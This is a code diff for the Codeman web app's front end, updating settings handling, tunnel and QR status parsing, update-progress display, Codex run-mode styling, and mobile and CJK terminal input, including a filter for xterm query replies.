@@ -185,9 +185,9 @@ Object.assign(CodemanApp.prototype, {
|
||||
try {
|
||||
// Get VAPID public key from server
|
||||
const keyData = await this._apiJson('/api/push/vapid-key');
|
||||
if (!keyData?.success) throw new Error('Failed to get VAPID key');
|
||||
if (!keyData) throw new Error('Failed to get VAPID key');
|
||||
|
||||
const applicationServerKey = urlBase64ToUint8Array(keyData.data.publicKey);
|
||||
const applicationServerKey = urlBase64ToUint8Array(keyData.publicKey);
|
||||
const subscription = await this._swRegistration.pushManager.subscribe({
|
||||
userVisibleOnly: true,
|
||||
applicationServerKey,
|
||||
@@ -204,11 +204,11 @@ Object.assign(CodemanApp.prototype, {
|
||||
pushPreferences: this._buildPushPreferences(),
|
||||
},
|
||||
});
|
||||
if (!data?.success) throw new Error('Failed to register subscription');
|
||||
if (!data) throw new Error('Failed to register subscription');
|
||||
|
||||
this._pushSubscription = subscription;
|
||||
this._pushSubscriptionId = data.data.id;
|
||||
localStorage.setItem('codeman-push-subscription-id', data.data.id);
|
||||
this._pushSubscriptionId = data.id;
|
||||
localStorage.setItem('codeman-push-subscription-id', data.id);
|
||||
this._updatePushUI(true);
|
||||
this.showToast('Push notifications enabled', 'success');
|
||||
} catch (err) {
|
||||
@@ -308,7 +308,8 @@ Object.assign(CodemanApp.prototype, {
|
||||
document.getElementById('appSettingsShowTokenCount').checked = settings.showTokenCount ?? defaults.showTokenCount ?? true;
|
||||
document.getElementById('appSettingsShowCost').checked = settings.showCost ?? defaults.showCost ?? false;
|
||||
document.getElementById('appSettingsShowLifecycleLog').checked = settings.showLifecycleLog ?? defaults.showLifecycleLog ?? true;
|
||||
document.getElementById('appSettingsShowMonitor').checked = settings.showMonitor ?? defaults.showMonitor ?? true;
|
||||
document.getElementById('appSettingsShowResponseViewer').checked = settings.showResponseViewer ?? defaults.showResponseViewer ?? false;
|
||||
document.getElementById('appSettingsShowMonitor').checked = settings.showMonitor ?? defaults.showMonitor ?? false;
|
||||
document.getElementById('appSettingsShowProjectInsights').checked = settings.showProjectInsights ?? defaults.showProjectInsights ?? false;
|
||||
document.getElementById('appSettingsShowFileBrowser').checked = settings.showFileBrowser ?? defaults.showFileBrowser ?? false;
|
||||
document.getElementById('appSettingsShowSubagents').checked = settings.showSubagents ?? defaults.showSubagents ?? false;
|
||||
@@ -326,7 +327,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
document.getElementById('appSettingsTunnelEnabled').checked = settings.tunnelEnabled ?? false;
|
||||
this.loadTunnelStatus();
|
||||
document.getElementById('appSettingsLocalEcho').checked = settings.localEchoEnabled ?? MobileDetection.isTouchDevice();
|
||||
document.getElementById('appSettingsCjkInput').checked = settings.cjkInputEnabled ?? false;
|
||||
document.getElementById('appSettingsCjkInput').checked = settings.cjkInputEnabled ?? defaults.cjkInputEnabled ?? false;
|
||||
document.getElementById('appSettingsExtendedKeyboardBar').checked = settings.extendedKeyboardBar ?? false;
|
||||
document.getElementById('appSettingsTabTwoRows').checked = settings.tabTwoRows ?? defaults.tabTwoRows ?? false;
|
||||
// Claude CLI settings
|
||||
@@ -339,8 +340,12 @@ Object.assign(CodemanApp.prototype, {
|
||||
claudeModeSelect.onchange = () => {
|
||||
allowedToolsRow.style.display = claudeModeSelect.value === 'allowedTools' ? '' : 'none';
|
||||
};
|
||||
// Codex CLI settings
|
||||
document.getElementById('appSettingsCodexDangerouslyBypassApprovals').checked =
|
||||
settings.codexDangerouslyBypassApprovals ?? false;
|
||||
// Claude Permissions settings
|
||||
document.getElementById('appSettingsAgentTeams').checked = settings.agentTeamsEnabled ?? false;
|
||||
document.getElementById('appSettingsClaudeModel').value = settings.claudeModel ?? '';
|
||||
document.getElementById('appSettingsOpusContext1m').checked = settings.opusContext1mEnabled ?? false;
|
||||
document.getElementById('appSettingsThinkingEffort').value = settings.thinkingEffort ?? '';
|
||||
// CPU Priority settings
|
||||
@@ -569,7 +574,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
const res = await this._apiPost('/api/system/update', {});
|
||||
if (!res || !res.ok) {
|
||||
let msg = 'Failed to start the update.';
|
||||
try { const j = await res.json(); if (j?.error?.message) msg = j.error.message; } catch {}
|
||||
try { const j = await res.json(); if (typeof j?.error === 'string' && j.error) msg = j.error; } catch {}
|
||||
this._setUpdateProgress(`<span style="color:var(--danger,#e5534b)">${escapeHtml(msg)}</span>`);
|
||||
if (btn) { btn.disabled = false; btn.textContent = 'Update now'; }
|
||||
return;
|
||||
@@ -598,7 +603,10 @@ Object.assign(CodemanApp.prototype, {
|
||||
let data = null;
|
||||
try {
|
||||
const res = await fetch('/api/system/update/status');
|
||||
if (res.ok) data = await res.json();
|
||||
if (res.ok) {
|
||||
const env = await res.json();
|
||||
data = env && env.success === true ? env.data : env;
|
||||
}
|
||||
} catch { /* server restarting — keep polling */ }
|
||||
|
||||
if (!data) {
|
||||
@@ -606,7 +614,17 @@ Object.assign(CodemanApp.prototype, {
|
||||
return;
|
||||
}
|
||||
if (!terminal.has(data.phase)) {
|
||||
this._setUpdateProgress(`↻ ${escapeHtml(this._updatePhaseText(data.phase))}`);
|
||||
// Prefer the live status message — the updater's heartbeat enriches it with
|
||||
// the latest npm/build output line so a slow step doesn't look frozen — and
|
||||
// fall back to the static phase label. Append total elapsed so the counter
|
||||
// keeps ticking between heartbeats: a clear "still working" signal.
|
||||
const label = (data.message && data.message.trim()) ? data.message.trim() : this._updatePhaseText(data.phase);
|
||||
let elapsed = '';
|
||||
if (data.startedAt) {
|
||||
const secs = Math.max(0, Math.round((Date.now() - data.startedAt) / 1000));
|
||||
elapsed = ` <span style="color:var(--text-secondary)">· ${secs}s</span>`;
|
||||
}
|
||||
this._setUpdateProgress(`<span class="tunnel-spinner"></span> ${escapeHtml(label)}${elapsed}`);
|
||||
return;
|
||||
}
|
||||
this._stopUpdatePolling();
|
||||
@@ -642,7 +660,8 @@ Object.assign(CodemanApp.prototype, {
|
||||
async loadTunnelStatus() {
|
||||
try {
|
||||
const res = await fetch('/api/tunnel/status');
|
||||
const status = await res.json();
|
||||
const env = await res.json();
|
||||
const status = env?.success === true ? env.data : env;
|
||||
const active = status.running && status.url;
|
||||
this._tunnelUrl = active ? status.url : null;
|
||||
this._updateTunnelUrlDisplay(this._tunnelUrl);
|
||||
@@ -711,7 +730,8 @@ Object.assign(CodemanApp.prototype, {
|
||||
if (!res.ok) throw new Error('Tunnel not running');
|
||||
return res.json();
|
||||
})
|
||||
.then(data => {
|
||||
.then(env => {
|
||||
const data = env?.success === true ? env.data : env;
|
||||
const container = document.getElementById('tunnelQrContainer');
|
||||
if (container && data.svg) container.innerHTML = data.svg;
|
||||
// Show auth badge, countdown, and regenerate button when auth is enabled
|
||||
@@ -744,7 +764,8 @@ Object.assign(CodemanApp.prototype, {
|
||||
// Fetch URL for display
|
||||
fetch('/api/tunnel/status')
|
||||
.then(r => r.json())
|
||||
.then(status => {
|
||||
.then(env => {
|
||||
const status = env?.success === true ? env.data : env;
|
||||
const urlEl = document.getElementById('tunnelQrUrl');
|
||||
if (urlEl && status.url) {
|
||||
urlEl.textContent = status.url;
|
||||
@@ -776,7 +797,8 @@ Object.assign(CodemanApp.prototype, {
|
||||
_refreshTunnelQrFromApi() {
|
||||
fetch('/api/tunnel/qr')
|
||||
.then(res => res.ok ? res.json() : null)
|
||||
.then(data => {
|
||||
.then(env => {
|
||||
const data = env?.success === true ? env.data : env;
|
||||
if (!data?.svg) return;
|
||||
const container = document.getElementById('tunnelQrContainer');
|
||||
if (container) container.innerHTML = data.svg;
|
||||
@@ -891,7 +913,8 @@ Object.assign(CodemanApp.prototype, {
|
||||
this._tunnelPollTimer = setTimeout(async () => {
|
||||
try {
|
||||
const res = await fetch('/api/tunnel/status');
|
||||
const status = await res.json();
|
||||
const env = await res.json();
|
||||
const status = env?.success === true ? env.data : env;
|
||||
if (status.running && status.url) {
|
||||
// Tunnel is up — update UI
|
||||
this._dismissTunnelConnecting();
|
||||
@@ -950,7 +973,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
}
|
||||
fetch('/api/tunnel/qr')
|
||||
.then(r => { if (!r.ok) throw new Error(); return r.json(); })
|
||||
.then(data => { if (data.svg) qrInner.innerHTML = data.svg; })
|
||||
.then(env => { const data = env?.success === true ? env.data : env; if (data.svg) qrInner.innerHTML = data.svg; })
|
||||
.catch(() => { qrInner.innerHTML = '<div style="color:#999;font-size:11px;padding:20px">QR unavailable</div>'; });
|
||||
} else {
|
||||
clearTimeout(this._welcomeQrShrinkTimer);
|
||||
@@ -1022,7 +1045,8 @@ Object.assign(CodemanApp.prototype, {
|
||||
// Fetch tunnel info
|
||||
try {
|
||||
const res = await fetch('/api/tunnel/info');
|
||||
const info = await res.json();
|
||||
const env = await res.json();
|
||||
const info = env?.success === true ? env.data : env;
|
||||
this._renderTunnelPanel(info);
|
||||
} catch {
|
||||
const body = document.getElementById('tunnelPanelBody');
|
||||
@@ -1156,7 +1180,8 @@ Object.assign(CodemanApp.prototype, {
|
||||
this.showToast('All sessions revoked', 'success');
|
||||
// Refresh panel
|
||||
const res = await fetch('/api/tunnel/info');
|
||||
const info = await res.json();
|
||||
const env = await res.json();
|
||||
const info = env?.success === true ? env.data : env;
|
||||
this._renderTunnelPanel(info);
|
||||
} catch {
|
||||
this.showToast('Failed to revoke sessions', 'error');
|
||||
@@ -1251,7 +1276,8 @@ Object.assign(CodemanApp.prototype, {
|
||||
|
||||
try {
|
||||
const res = await fetch(`/api/session-lifecycle?${params}`);
|
||||
const data = await res.json();
|
||||
const env = await res.json();
|
||||
const data = env?.success === true ? env.data : env;
|
||||
const tbody = document.getElementById('lifecycleTableBody');
|
||||
const empty = document.getElementById('lifecycleEmpty');
|
||||
|
||||
@@ -1302,6 +1328,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
showTokenCount: document.getElementById('appSettingsShowTokenCount').checked,
|
||||
showCost: document.getElementById('appSettingsShowCost').checked,
|
||||
showLifecycleLog: document.getElementById('appSettingsShowLifecycleLog').checked,
|
||||
showResponseViewer: document.getElementById('appSettingsShowResponseViewer').checked,
|
||||
showMonitor: document.getElementById('appSettingsShowMonitor').checked,
|
||||
showProjectInsights: document.getElementById('appSettingsShowProjectInsights').checked,
|
||||
showFileBrowser: document.getElementById('appSettingsShowFileBrowser').checked,
|
||||
@@ -1319,8 +1346,11 @@ Object.assign(CodemanApp.prototype, {
|
||||
// Claude CLI settings
|
||||
claudeMode: document.getElementById('appSettingsClaudeMode').value,
|
||||
allowedTools: document.getElementById('appSettingsAllowedTools').value.trim(),
|
||||
// Codex CLI settings
|
||||
codexDangerouslyBypassApprovals: document.getElementById('appSettingsCodexDangerouslyBypassApprovals').checked,
|
||||
// Claude Permissions settings
|
||||
agentTeamsEnabled: document.getElementById('appSettingsAgentTeams').checked,
|
||||
claudeModel: document.getElementById('appSettingsClaudeModel').value,
|
||||
opusContext1mEnabled: document.getElementById('appSettingsOpusContext1m').checked,
|
||||
thinkingEffort: document.getElementById('appSettingsThinkingEffort').value,
|
||||
// CPU Priority settings
|
||||
@@ -1582,6 +1612,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
imageWatcherEnabled: false,
|
||||
ralphTrackerEnabled: false,
|
||||
tabTwoRows: false,
|
||||
cjkInputEnabled: false,
|
||||
};
|
||||
}
|
||||
// Desktop defaults - rely on ?? operators in apply functions
|
||||
@@ -1622,9 +1653,10 @@ Object.assign(CodemanApp.prototype, {
|
||||
applyHeaderVisibilitySettings() {
|
||||
const settings = this.loadAppSettingsFromStorage();
|
||||
const defaults = this.getDefaultSettings();
|
||||
const showFontControls = settings.showFontControls ?? defaults.showFontControls ?? false;
|
||||
const showSystemStats = settings.showSystemStats ?? defaults.showSystemStats ?? true;
|
||||
const showTokenCount = settings.showTokenCount ?? defaults.showTokenCount ?? true;
|
||||
const compactHeader = MobileDetection.getDeviceType() !== 'desktop';
|
||||
const showFontControls = compactHeader ? false : (settings.showFontControls ?? defaults.showFontControls ?? false);
|
||||
const showSystemStats = compactHeader ? false : (settings.showSystemStats ?? defaults.showSystemStats ?? true);
|
||||
const showTokenCount = compactHeader ? false : (settings.showTokenCount ?? defaults.showTokenCount ?? true);
|
||||
|
||||
const fontControlsEl = document.querySelector('.header-font-controls');
|
||||
const systemStatsEl = document.getElementById('headerSystemStats');
|
||||
@@ -1647,6 +1679,14 @@ Object.assign(CodemanApp.prototype, {
|
||||
lifecycleBtn.style.display = showLifecycleLog ? '' : 'none';
|
||||
}
|
||||
|
||||
// Hide the response viewer (eye) button when setting is disabled.
|
||||
// Marker class, not inline style — the base rule is display:inline-flex !important.
|
||||
const showResponseViewer = settings.showResponseViewer ?? defaults.showResponseViewer ?? false;
|
||||
const responseViewerBtn = document.querySelector('.btn-response-viewer-header');
|
||||
if (responseViewerBtn) {
|
||||
responseViewerBtn.classList.toggle('btn-response-viewer-header--hidden', !showResponseViewer);
|
||||
}
|
||||
|
||||
// Multi-monitor button — hidden by default (App Settings → Display → "Header
|
||||
// Displays"). The server renders the correct initial state on every reload;
|
||||
// this handles a live toggle from a settings save (no reload). Toggle the
|
||||
@@ -1695,7 +1735,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
applyMonitorVisibility() {
|
||||
const settings = this.loadAppSettingsFromStorage();
|
||||
const defaults = this.getDefaultSettings();
|
||||
const showMonitor = settings.showMonitor ?? defaults.showMonitor ?? true;
|
||||
const showMonitor = settings.showMonitor ?? defaults.showMonitor ?? false;
|
||||
const showSubagents = settings.showSubagents ?? defaults.showSubagents ?? false;
|
||||
const showFileBrowser = settings.showFileBrowser ?? defaults.showFileBrowser ?? false;
|
||||
|
||||
@@ -1840,7 +1880,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
|
||||
async loadAppSettingsFromServer(settingsPromise = null) {
|
||||
try {
|
||||
const settings = settingsPromise ? await settingsPromise : await fetch('/api/settings').then(r => r.ok ? r.json() : null);
|
||||
const settings = settingsPromise ? await settingsPromise : await fetch('/api/settings').then(r => r.ok ? r.json() : null).then(env => env?.success === true ? env.data : env);
|
||||
if (settings) {
|
||||
// Extract notification prefs before merging app settings
|
||||
const { notificationPreferences, voiceSettings, respawnPresets, runMode, ...appSettings } = settings;
|
||||
@@ -1850,6 +1890,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
// are NOT display keys — they control server-side behavior and must sync from server.
|
||||
const displayKeys = new Set([
|
||||
'showFontControls', 'showSystemStats', 'showTokenCount', 'showCost',
|
||||
'showLifecycleLog', 'showResponseViewer',
|
||||
'showMonitor', 'showProjectInsights', 'showFileBrowser', 'showSubagents',
|
||||
'subagentActiveTabOnly', 'tabTwoRows', 'localEchoEnabled', 'cjkInputEnabled', 'extendedKeyboardBar',
|
||||
]);
|
||||
@@ -1932,7 +1973,8 @@ Object.assign(CodemanApp.prototype, {
|
||||
try {
|
||||
const res = await fetch('/api/subagent-window-states');
|
||||
if (res.ok) {
|
||||
states = await res.json();
|
||||
const env = await res.json();
|
||||
states = env?.success === true ? env.data : env;
|
||||
// Also update localStorage
|
||||
localStorage.setItem('codeman-subagent-window-states', JSON.stringify(states));
|
||||
}
|
||||
@@ -1999,7 +2041,8 @@ Object.assign(CodemanApp.prototype, {
|
||||
try {
|
||||
const res = await fetch('/api/subagent-parents');
|
||||
if (res.ok) {
|
||||
mapData = await res.json();
|
||||
const env = await res.json();
|
||||
mapData = env?.success === true ? env.data : env;
|
||||
// Update localStorage as cache
|
||||
localStorage.setItem('codeman-subagent-parents', JSON.stringify(mapData));
|
||||
}
|
||||
|
||||
+128
-3
@@ -107,11 +107,11 @@ textarea:focus-visible {
|
||||
caret-color: transparent !important;
|
||||
}
|
||||
.touch-device .xterm .xterm-helper-textarea {
|
||||
left: 0 !important;
|
||||
top: 0 !important;
|
||||
left: var(--xterm-helper-left, 0px) !important;
|
||||
top: var(--xterm-helper-top, 0px) !important;
|
||||
width: 1px !important;
|
||||
height: 1px !important;
|
||||
z-index: -1 !important;
|
||||
z-index: 0 !important;
|
||||
font-size: 16px !important; /* prevent iOS auto-zoom on focus */
|
||||
}
|
||||
|
||||
@@ -233,6 +233,7 @@ body {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
position: relative;
|
||||
padding: 0.35rem 0.6rem;
|
||||
background: transparent;
|
||||
border: 1px solid transparent;
|
||||
@@ -265,6 +266,40 @@ body {
|
||||
outline: none !important;
|
||||
}
|
||||
|
||||
.session-tab.tab-loading::after {
|
||||
content: "";
|
||||
position: absolute;
|
||||
left: 8px;
|
||||
right: 8px;
|
||||
bottom: -2px;
|
||||
height: 2px;
|
||||
border-radius: 999px;
|
||||
background: linear-gradient(90deg, transparent, rgba(96, 165, 250, 0.95), transparent);
|
||||
animation: tab-load-sweep 0.9s linear infinite;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.tab-load-spinner {
|
||||
width: 10px;
|
||||
height: 10px;
|
||||
border: 2px solid rgba(96, 165, 250, 0.3);
|
||||
border-top-color: rgba(96, 165, 250, 0.95);
|
||||
border-radius: 50%;
|
||||
flex: 0 0 10px;
|
||||
animation: tab-load-spin 0.7s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes tab-load-spin {
|
||||
to { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
@keyframes tab-load-sweep {
|
||||
0% { transform: translateX(-45%); opacity: 0.35; }
|
||||
50% { opacity: 1; }
|
||||
100% { transform: translateX(45%); opacity: 0.35; }
|
||||
}
|
||||
|
||||
|
||||
/* Tab switch feedback: bright green glow on the newly-active tab */
|
||||
.session-tab.tab-glow {
|
||||
animation: tab-glow 0.35s ease-out;
|
||||
@@ -1023,6 +1058,11 @@ body.solo-mode .btn-lifecycle-log {
|
||||
color: #10b981;
|
||||
}
|
||||
|
||||
.session-tab .tab-mode.codex {
|
||||
background: rgba(168, 85, 247, 0.2);
|
||||
color: #a855f7;
|
||||
}
|
||||
|
||||
/* Timer Banner - Compact */
|
||||
.timer-banner {
|
||||
display: flex;
|
||||
@@ -2070,6 +2110,8 @@ body.solo-mode .btn-lifecycle-log {
|
||||
will-change: contents;
|
||||
}
|
||||
.terminal-container .xterm {
|
||||
width: 100%;
|
||||
min-width: 0;
|
||||
height: 100%;
|
||||
padding: 0;
|
||||
}
|
||||
@@ -2702,6 +2744,22 @@ body.solo-mode .btn-lifecycle-log {
|
||||
color: #a7f3d0;
|
||||
}
|
||||
|
||||
/* Codex mode colors */
|
||||
.btn-toolbar.btn-run.mode-codex,
|
||||
.btn-toolbar.btn-run-gear.mode-codex {
|
||||
background: linear-gradient(135deg, #2a0a3e 0%, #350b4d 50%, #400d5e 100%);
|
||||
border-color: rgba(168, 85, 247, 0.5);
|
||||
color: #d8b4fe;
|
||||
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.2), inset 0 1px 0 rgba(255, 255, 255, 0.06);
|
||||
}
|
||||
.btn-toolbar.btn-run.mode-codex:hover,
|
||||
.btn-toolbar.btn-run-gear.mode-codex:hover {
|
||||
background: linear-gradient(135deg, #400d5e 0%, #581c87 50%, #6b21a8 100%);
|
||||
box-shadow: 0 0 12px rgba(168, 85, 247, 0.35), 0 2px 8px rgba(168, 85, 247, 0.2), inset 0 1px 0 rgba(255, 255, 255, 0.08);
|
||||
border-color: rgba(192, 132, 252, 0.6);
|
||||
color: #e9d5ff;
|
||||
}
|
||||
|
||||
/* Dropdown menu */
|
||||
.run-mode-menu {
|
||||
display: none;
|
||||
@@ -2754,6 +2812,7 @@ body.solo-mode .btn-lifecycle-log {
|
||||
}
|
||||
.run-mode-dot.claude { background: #3b82f6; }
|
||||
.run-mode-dot.opencode { background: #10b981; }
|
||||
.run-mode-dot.codex { background: #a855f7; }
|
||||
|
||||
.run-mode-sep {
|
||||
height: 1px;
|
||||
@@ -4611,6 +4670,39 @@ body.solo-mode .btn-lifecycle-log {
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
|
||||
/* Auto-resume on usage limit (token pause control) */
|
||||
.auto-resume-box {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.3rem;
|
||||
margin: 0.75rem 0;
|
||||
padding: 0.6rem 0.75rem;
|
||||
background: rgba(59, 130, 246, 0.07);
|
||||
border: 1px solid rgba(59, 130, 246, 0.35);
|
||||
border-radius: 6px;
|
||||
}
|
||||
|
||||
.auto-resume-box .checkbox-inline {
|
||||
font-size: 0.85rem;
|
||||
font-weight: 500;
|
||||
color: var(--text);
|
||||
}
|
||||
|
||||
.auto-resume-box .form-hint {
|
||||
margin-top: 0;
|
||||
}
|
||||
|
||||
.auto-resume-status {
|
||||
display: none;
|
||||
font-size: 0.7rem;
|
||||
font-weight: 600;
|
||||
color: var(--accent-hover);
|
||||
}
|
||||
|
||||
.auto-resume-status.active {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/* Respawn actions in modal */
|
||||
.respawn-actions {
|
||||
display: flex;
|
||||
@@ -8072,6 +8164,12 @@ kbd {
|
||||
display: inline-flex !important;
|
||||
}
|
||||
|
||||
/* "Response Viewer" header toggle (App Settings → Display) — must out-specify
|
||||
the inline-flex !important above */
|
||||
.btn-response-viewer-header.btn-response-viewer-header--hidden {
|
||||
display: none !important;
|
||||
}
|
||||
|
||||
.response-viewer {
|
||||
display: none;
|
||||
position: fixed;
|
||||
@@ -8637,6 +8735,33 @@ kbd {
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
.touch-device #cjkInput.cjk-input-visible {
|
||||
position: fixed;
|
||||
left: var(--safe-area-left);
|
||||
right: var(--safe-area-right);
|
||||
bottom: calc(var(--safe-area-bottom) + 40px);
|
||||
z-index: 52;
|
||||
display: block;
|
||||
min-height: 44px;
|
||||
max-height: 96px;
|
||||
border: 1px solid rgba(80, 120, 190, 0.55);
|
||||
border-left: none;
|
||||
border-right: none;
|
||||
background: #101827;
|
||||
color: #f3f4f6;
|
||||
box-shadow: 0 -8px 20px rgba(0, 0, 0, 0.35);
|
||||
transition: transform 0.15s ease-out;
|
||||
will-change: transform;
|
||||
}
|
||||
|
||||
.touch-device.keyboard-visible #cjkInput.cjk-input-visible {
|
||||
bottom: calc(var(--safe-area-bottom) + 84px);
|
||||
}
|
||||
|
||||
body.touch-device.cjk-input-visible .main {
|
||||
padding-bottom: calc(84px + var(--safe-area-bottom));
|
||||
}
|
||||
|
||||
/* ═══════════════════════════════════════════════════════════════
|
||||
Orchestrator Panel
|
||||
═══════════════════════════════════════════════════════════════ */
|
||||
|
||||
+279
-39
@@ -12,6 +12,24 @@
|
||||
* @loadorder 7 of 15 — loaded after app.js, before respawn-ui.js
|
||||
*/
|
||||
|
||||
(function (global) {
|
||||
const TERMINAL_QUERY_RESPONSE_PATTERN = /^\x1b\[[\?>=]?[\d;]*[cnR]$/;
|
||||
const TERMINAL_OSC_RESPONSE_PATTERN = /^\x1b\][\d;]*[^\x07\x1b]*(?:\x07|\x1b\\)$/;
|
||||
|
||||
function isTerminalQueryResponse(data) {
|
||||
return TERMINAL_QUERY_RESPONSE_PATTERN.test(data) || TERMINAL_OSC_RESPONSE_PATTERN.test(data);
|
||||
}
|
||||
|
||||
function shouldSuppressTerminalQueryResponse(data) {
|
||||
return isTerminalQueryResponse(data);
|
||||
}
|
||||
|
||||
global.CodemanTerminalInput = {
|
||||
isTerminalQueryResponse,
|
||||
shouldSuppressTerminalQueryResponse,
|
||||
};
|
||||
})(window);
|
||||
|
||||
Object.assign(CodemanApp.prototype, {
|
||||
// ═══════════════════════════════════════════════════════════════
|
||||
// Terminal Setup — xterm.js config and input handling
|
||||
@@ -164,7 +182,24 @@ Object.assign(CodemanApp.prototype, {
|
||||
// whitespace) -- if so, xterm handled it and we should not double-send.
|
||||
// Use a microtask to check after xterm's own handlers have run.
|
||||
const data = e.data;
|
||||
const pendingBefore = this._localEchoOverlay?.pendingText || '';
|
||||
Promise.resolve().then(() => {
|
||||
if (
|
||||
this._lastTerminalData?.data === data &&
|
||||
performance.now() - this._lastTerminalData.time < 100
|
||||
) {
|
||||
xtermTextarea.value = '';
|
||||
return;
|
||||
}
|
||||
const pendingAfter = this._localEchoOverlay?.pendingText || '';
|
||||
if (
|
||||
this._localEchoEnabled &&
|
||||
pendingAfter.length > pendingBefore.length &&
|
||||
pendingAfter.endsWith(data)
|
||||
) {
|
||||
xtermTextarea.value = '';
|
||||
return;
|
||||
}
|
||||
// If xterm cleared the textarea, it processed the input -- skip.
|
||||
const val = xtermTextarea.value;
|
||||
if (!val || (val.trim() === '' && data !== ' ')) return;
|
||||
@@ -227,15 +262,17 @@ Object.assign(CodemanApp.prototype, {
|
||||
}
|
||||
|
||||
this._localEchoOverlay = new LocalEchoOverlay(this.terminal);
|
||||
if (MobileDetection.isTouchDevice()) {
|
||||
this.terminal.onCursorMove(() => this._syncMobileHelperTextareaToCursor());
|
||||
this.terminal.onRender(() => this._syncMobileHelperTextareaToCursor());
|
||||
}
|
||||
|
||||
// CJK IME input — textarea in index.html, just wire up send
|
||||
this._cjkInput = null;
|
||||
if (typeof CjkInput !== 'undefined') {
|
||||
this._cjkInput = CjkInput.init({
|
||||
send: (text) => {
|
||||
if (this.activeSessionId) {
|
||||
this._sendInputAsync(this.activeSessionId, text);
|
||||
}
|
||||
this._handleCjkInput(text);
|
||||
},
|
||||
});
|
||||
}
|
||||
@@ -328,6 +365,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
'touchmove',
|
||||
(ev) => {
|
||||
if (ev.touches.length === 1 && isTouching) {
|
||||
ev.preventDefault();
|
||||
didScroll = true;
|
||||
const touchY = ev.touches[0].clientY;
|
||||
const delta = touchLastY - touchY; // positive = scroll down
|
||||
@@ -343,7 +381,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
}
|
||||
}
|
||||
},
|
||||
{ passive: true }
|
||||
{ passive: false }
|
||||
);
|
||||
|
||||
container.addEventListener(
|
||||
@@ -357,7 +395,13 @@ Object.assign(CodemanApp.prototype, {
|
||||
// routes back to the terminal. Without this, a tap on the terminal area
|
||||
// consumes the touch event but xterm's textarea never regains focus.
|
||||
if (!didScroll && this.terminal) {
|
||||
this.terminal.focus();
|
||||
const cjkInput = document.getElementById('cjkInput');
|
||||
if (cjkInput?.classList.contains('cjk-input-visible')) {
|
||||
cjkInput.focus();
|
||||
} else {
|
||||
this._syncMobileHelperTextareaToCursor();
|
||||
this.terminal.focus();
|
||||
}
|
||||
}
|
||||
},
|
||||
{ passive: true }
|
||||
@@ -382,6 +426,8 @@ Object.assign(CodemanApp.prototype, {
|
||||
|
||||
// Generation counter for chunkedTerminalWrite — aborts stale writes on tab switch
|
||||
this._chunkedWriteGen = 0;
|
||||
this._bufferLoadSeq = 0;
|
||||
this._bufferLoadOwner = null;
|
||||
|
||||
// Handle resize with throttling for performance
|
||||
this._resizeTimeout = null;
|
||||
@@ -450,11 +496,30 @@ Object.assign(CodemanApp.prototype, {
|
||||
this.terminal.write('\x1b[3J\x1b[H\x1b[2J');
|
||||
}
|
||||
this._lastResizeDims = { cols, rows };
|
||||
fetch(`/api/sessions/${this.activeSessionId}/resize`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ cols, rows }),
|
||||
}).catch(() => {});
|
||||
// Typed + WS-first like sendResize: the viewport type feeds resize
|
||||
// arbitration (a phone rotating must not bypass a desktop claim),
|
||||
// and a desktop window narrowing past the tablet breakpoint must
|
||||
// send a typed WS frame so its stale desktop claim is released.
|
||||
const viewportType =
|
||||
typeof MobileDetection !== 'undefined' && MobileDetection.getDeviceType
|
||||
? MobileDetection.getDeviceType()
|
||||
: 'desktop';
|
||||
let sentViaWs = false;
|
||||
if (this._wsReady && this._wsSessionId === this.activeSessionId) {
|
||||
try {
|
||||
this._ws.send(JSON.stringify({ t: 'z', c: cols, r: rows, v: viewportType }));
|
||||
sentViaWs = true;
|
||||
} catch {
|
||||
// Fall through to HTTP POST
|
||||
}
|
||||
}
|
||||
if (!sentViaWs) {
|
||||
fetch(`/api/sessions/${this.activeSessionId}/resize`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ cols, rows, viewportType }),
|
||||
}).catch(() => {});
|
||||
}
|
||||
}
|
||||
}
|
||||
// Update subagent connection lines and local echo at new dimensions
|
||||
@@ -498,11 +563,15 @@ Object.assign(CodemanApp.prototype, {
|
||||
// CJK input has focus — block xterm from sending to PTY
|
||||
if (window.cjkActive || document.activeElement?.id === 'cjkInput') return;
|
||||
if (this.activeSessionId) {
|
||||
// Filter out terminal query responses that xterm.js generates automatically.
|
||||
// These are responses to DA (Device Attributes), DSR (Device Status Report), etc.
|
||||
// sent by tmux when attaching. Without this filter, they appear as typed text.
|
||||
// Patterns: \x1b[?...c (DA1), \x1b[>...c (DA2), \x1b[...R (CPR), \x1b[...n (DSR)
|
||||
if (/^\x1b\[[\?>=]?[\d;]*[cnR]$/.test(data)) return;
|
||||
// Filter terminal query replies generated by xterm.js itself.
|
||||
// Forwarding them through the WebSocket injects DA/DSR/CPR replies
|
||||
// into the foreground process as typed input (for example "0;276;0c").
|
||||
if (
|
||||
window.CodemanTerminalInput?.shouldSuppressTerminalQueryResponse(data)
|
||||
) {
|
||||
return;
|
||||
}
|
||||
this._lastTerminalData = { data, time: performance.now() };
|
||||
|
||||
// ── Local Echo Mode ──
|
||||
// When enabled, keystrokes are buffered locally in the overlay for
|
||||
@@ -770,7 +839,11 @@ Object.assign(CodemanApp.prototype, {
|
||||
|
||||
// Pattern 1: Commands with file paths (tail -f, cat, head, grep pattern, etc.)
|
||||
// Handles: tail -f /path, grep pattern /path, cat -n /path
|
||||
